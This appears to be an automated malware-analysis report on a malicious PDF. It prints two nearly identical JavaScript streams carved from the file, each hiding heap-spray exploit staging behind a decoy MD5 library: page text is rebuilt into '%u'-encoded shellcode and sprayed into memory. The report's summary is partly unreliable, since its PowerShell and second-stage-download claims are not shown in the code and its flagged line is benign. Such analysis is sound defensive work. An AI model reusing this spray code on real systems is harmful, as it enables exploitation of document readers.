MALICIOUS
118
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream, named 'javascript_obj0055_001.js', is likely responsible for downloading and executing a second-stage payload. The presence of JavaScript actions and embedded JS streams indicates a malicious intent, though the specific payload and delivery mechanism are not fully discernible from the static analysis alone.
Machine Learning
- Nyx PDF Classifier malicious score 0.9850
Heuristics 5
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
if(x <= 0x7F) output += String.fromCharCode(x); else if(x <= 0x7FF) -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.monotype.comMonotype Referenced by PDF JavaScript
- http://pajhome.org.uk/crypt/md5Referenced by PDF JavaScript
- http://ocsp.verisign.com/ocsp/status0Referenced by PDF JavaScript
- https://www.verisign.com/rpa0Referenced by PDF JavaScript
- http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlReferenced by PDF JavaScript
- https://www.verisign.com/rpaReferenced by PDF JavaScript
- http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0Referenced by PDF JavaScript
- http://www.microsoft.com/typographyReferenced by PDF JavaScript
- http://www.iec.chReferenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0055_001.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBAE | 12949 bytes |
SHA-256: 5c199c417b8171f20e33e650682e0431c01affa0a5cf59293e51711f7a0bc787 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function SDDDD()
{
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_md5(s) { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
function b64_md5(s) { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
function hex_hmac_md5(k, d)
{ return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function b64_hmac_md5(k, d)
{ return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function any_hmac_md5(k, d, e)
{ return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
/*
* Perform a simple self-test to see if the VM is working
*/
function md5_vm_test()
{
return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
}
/*
* Calculate the MD5 of a raw string
*/
function rstr_md5(s)
{
return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
}
/*
* Calculate the HMAC-MD5, of a key and some data (raw strings)
*/
function rstr_hmac_md5(key, data)
{
var bkey = rstr2binl(key);
if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
}
/*
* Convert a raw string to a hex string
*/
function rstr2hex(input)
{
try { hexcase } catch(e) { hexcase=0; }
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var output = "";
var x;
for(var i = 0; i < input.length; i++)
{
x = input.charCodeAt(i);
output += hex_tab.charAt((x >>> 4) & 0x0F)
+ hex_tab.charAt( x & 0x0F);
}
return output;
}
/*
* Convert a raw string to a base-64 string
*/
function rstr2b64(input)
{
try { b64pad } catch(e) { b64pad=''; }
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var output = "";
var len = input.length;
for(var i = 0; i < len; i += 3)
{
var triplet = (input.charCodeAt(i) << 16)
| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
| (i + 2 < len ? input.charCodeAt(i+2) : 0);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > input.length * 8) output += b64pad;
else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
}
}
return output;
}
/*
* Convert a raw string to an arbitrary string encoding
*/
function rstr2any(input, encoding)
{
var divisor = encoding.length;
var i, j, q, x, quotient;
/* Convert to an array of 16-bit big-endian values, forming the dividend */
var dividend = Array(Math.ceil(input.length / 2));
for(i = 0; i < dividend.length; i++)
{
dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
}
/*
* Repeatedly perform a long division. The binary array forms the dividend,
* the length of the encoding is the divisor. Once computed, the quotient
* forms the dividend for the next step. All remainders are stored for later
* use.
*/
var full_length = Math.ceil(input.length * 8 /
(Math.log(encoding.length) / Math.log(2)));
var remainders = Array(full_length);
for(j = 0; j < full_length; j++)
{
quotient = Array();
x = 0;
for(i = 0; i < dividend.length; i++)
{
x = (x << 16) + dividend[i];
q = Math.floor(x / divisor);
x -= q * divisor;
if(quotient.length > 0 || q > 0)
quotient[quotient.length] = q;
}
remainders[j] = x;
dividend = quotient;
}
/* Convert the remainders to the output string */
var output = "";
for(i = remainders.length - 1; i >= 0; i--)
output += encoding.charAt(remainders[i]);
return output;
}
/*
* Encode a string as utf-8.
* For efficiency, this assumes the input is valid utf-16.
*/
function str2rstr_utf8(input)
{
var output = "";
var i = -1;
var x, y;
while(++i < input.length)
{
/* Decode utf-16 surrogate pairs */
x = input.charCodeAt(i);
y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
{
x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
i++;
}
/* Encode output as utf-8 */
if(x <= 0x7F)
output += String.fromCharCode(x);
else if(x <= 0x7FF)
output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
0x80 | ( x & 0x3F));
else if(x <= 0xFFFF)
output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
else if(x <= 0x1FFFFF)
output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
0x80 | ((x >>> 12) & 0x3F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
}
return output;
}
/*
* Encode a string as utf-16
*/
function str2rstr_utf16le(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode( input.charCodeAt(i) & 0xFF,
(input.charCodeAt(i) >>> 8) & 0xFF);
return output;
}
function str2rstr_utf16be(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
input.charCodeAt(i) & 0xFF);
return output;
}
/*
* Convert a raw string to an array of little-endian words
* Characters >255 have their high-byte silently ignored.
*/
function rstr2binl(input)
{
var output = Array(input.length >> 2);
for(var i = 0; i < output.length; i++)
output[i] = 0;
for(var i = 0; i < input.length * 8; i += 8)
output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) << (i%32);
return output;
}
/*
* Convert an array of little-endian words to a string
*/
function binl2rstr(input)
{
var output = "";
for(var i = 0; i < input.length * 32; i += 8)
output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
return output;
}
/*
* Calculate the MD5 of an array of little-endian words, and a bit length.
*/
function binl_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
/*
* These functions implement the four basic operations the algorithm uses.
*/
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
hex_md5("A");
hex_md5("B");
}
SDDDD();
function New_Script()
{
var ckWord, numWords;
var text = '';
for (var i = 0; i < this.numPages; i++ )
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++)
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}
text = text + ' ';
var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
pos += k;
if(!b)
{
b = 1;
if (pos < text.length)
{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
}
else
{
b = 0;
if (pos < text.length)
{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
ssqqrr_1 = '';
ssqqrr_2 = '';
ssqqrr += u_ssqqrr;
}
k++;
if (k>3) k = 1;
}
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= MaxString + ssqqrr; i ++;
}
var F2 = SDDDD();
}
|
|||
javascript_obj0055_002.js |
pdf-javascript-stream | PDF /JS object 55 at offset 0x13DBD2 | 14442 bytes |
SHA-256: 34b31405939f754d02d2d893053b510d4e9ece4ea31b93eefa275870f5f19bf2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function SDDDD()
{
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.2 Copyright (C) Paul Johnston 1999 - 2009
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_md5(s) { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }
function b64_md5(s) { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }
function any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }
function hex_hmac_md5(k, d)
{ return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function b64_hmac_md5(k, d)
{ return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }
function any_hmac_md5(k, d, e)
{ return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }
/*
* Perform a simple self-test to see if the VM is working
*/
function md5_vm_test()
{
return hex_md5("abc").toLowerCase() == "900150983cd24fb0d6963f7d28e17f72";
}
/*
* Calculate the MD5 of a raw string
*/
function rstr_md5(s)
{
return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));
}
/*
* Calculate the HMAC-MD5, of a key and some data (raw strings)
*/
function rstr_hmac_md5(key, data)
{
var bkey = rstr2binl(key);
if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);
return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));
}
/*
* Convert a raw string to a hex string
*/
function rstr2hex(input)
{
try { hexcase } catch(e) { hexcase=0; }
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var output = "";
var x;
for(var i = 0; i < input.length; i++)
{
x = input.charCodeAt(i);
output += hex_tab.charAt((x >>> 4) & 0x0F)
+ hex_tab.charAt( x & 0x0F);
}
return output;
}
/*
* Convert a raw string to a base-64 string
*/
function rstr2b64(input)
{
try { b64pad } catch(e) { b64pad=''; }
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var output = "";
var len = input.length;
for(var i = 0; i < len; i += 3)
{
var triplet = (input.charCodeAt(i) << 16)
| (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)
| (i + 2 < len ? input.charCodeAt(i+2) : 0);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > input.length * 8) output += b64pad;
else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);
}
}
return output;
}
/*
* Convert a raw string to an arbitrary string encoding
*/
function rstr2any(input, encoding)
{
var divisor = encoding.length;
var i, j, q, x, quotient;
/* Convert to an array of 16-bit big-endian values, forming the dividend */
var dividend = Array(Math.ceil(input.length / 2));
for(i = 0; i < dividend.length; i++)
{
dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);
}
/*
* Repeatedly perform a long division. The binary array forms the dividend,
* the length of the encoding is the divisor. Once computed, the quotient
* forms the dividend for the next step. All remainders are stored for later
* use.
*/
var full_length = Math.ceil(input.length * 8 /
(Math.log(encoding.length) / Math.log(2)));
var remainders = Array(full_length);
for(j = 0; j < full_length; j++)
{
quotient = Array();
x = 0;
for(i = 0; i < dividend.length; i++)
{
x = (x << 16) + dividend[i];
q = Math.floor(x / divisor);
x -= q * divisor;
if(quotient.length > 0 || q > 0)
quotient[quotient.length] = q;
}
remainders[j] = x;
dividend = quotient;
}
/* Convert the remainders to the output string */
var output = "";
for(i = remainders.length - 1; i >= 0; i--)
output += encoding.charAt(remainders[i]);
return output;
}
/*
* Encode a string as utf-8.
* For efficiency, this assumes the input is valid utf-16.
*/
function str2rstr_utf8(input)
{
var output = "";
var i = -1;
var x, y;
while(++i < input.length)
{
/* Decode utf-16 surrogate pairs */
x = input.charCodeAt(i);
y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;
if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)
{
x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);
i++;
}
/* Encode output as utf-8 */
if(x <= 0x7F)
output += String.fromCharCode(x);
else if(x <= 0x7FF)
output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),
0x80 | ( x & 0x3F));
else if(x <= 0xFFFF)
output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
else if(x <= 0x1FFFFF)
output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),
0x80 | ((x >>> 12) & 0x3F),
0x80 | ((x >>> 6 ) & 0x3F),
0x80 | ( x & 0x3F));
}
return output;
}
/*
* Encode a string as utf-16
*/
function str2rstr_utf16le(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode( input.charCodeAt(i) & 0xFF,
(input.charCodeAt(i) >>> 8) & 0xFF);
return output;
}
function str2rstr_utf16be(input)
{
var output = "";
for(var i = 0; i < input.length; i++)
output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,
input.charCodeAt(i) & 0xFF);
return output;
}
/*
* Convert a raw string to an array of little-endian words
* Characters >255 have their high-byte silently ignored.
*/
function rstr2binl(input)
{
var output = Array(input.length >> 2);
for(var i = 0; i < output.length; i++)
output[i] = 0;
for(var i = 0; i < input.length * 8; i += 8)
output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) << (i%32);
return output;
}
/*
* Convert an array of little-endian words to a string
*/
function binl2rstr(input)
{
var output = "";
for(var i = 0; i < input.length * 32; i += 8)
output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);
return output;
}
/*
* Calculate the MD5 of an array of little-endian words, and a bit length.
*/
function binl_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
/*
* These functions implement the four basic operations the algorithm uses.
*/
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
hex_md5("A");
hex_md5("B");
}
SDDDD();
function New_Script()
{
var ckWord, numWords;
var text = '';
for (var i = 0; i < this.numPages; i++ )
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++)
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}
text = text + ' ';
var k = 1;
var b=0;
var ssqqrr = '';
var ssqqrr_1 = '';
var ssqqrr_2 = '';
var u_ssqqrr = '';
var pos = 0;
while (pos < (text.length-1)) {
pos += k;
if(!b)
{
b = 1;
if (pos < text.length)
{ ssqqrr_1 = ssqqrr_1 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_1 = ssqqrr_1 + text[pos]; pos+=1; }
}
else
{
b = 0;
if (pos < text.length)
{ ssqqrr_2 = ssqqrr_2 + text[pos] + text[pos+1]; pos+=2; }
else
{ ssqqrr_2 = ssqqrr_2 + text[pos]; pos+=1; }
u_ssqqrr = '%u'+ssqqrr_2+ssqqrr_1;
ssqqrr_1 = '';
ssqqrr_2 = '';
ssqqrr += u_ssqqrr;
}
k++;
if (k>3) k = 1;
}
memory=new Array();
for(i=0;i<0x2000;) {
memory[i]= MaxString + ssqqrr; i ++;
}
var F2 = SDDDD();
}
endstream
endobj
56 0 obj
<< /S /JavaScript /JS 55 0 R >>
endobj
57 0 obj
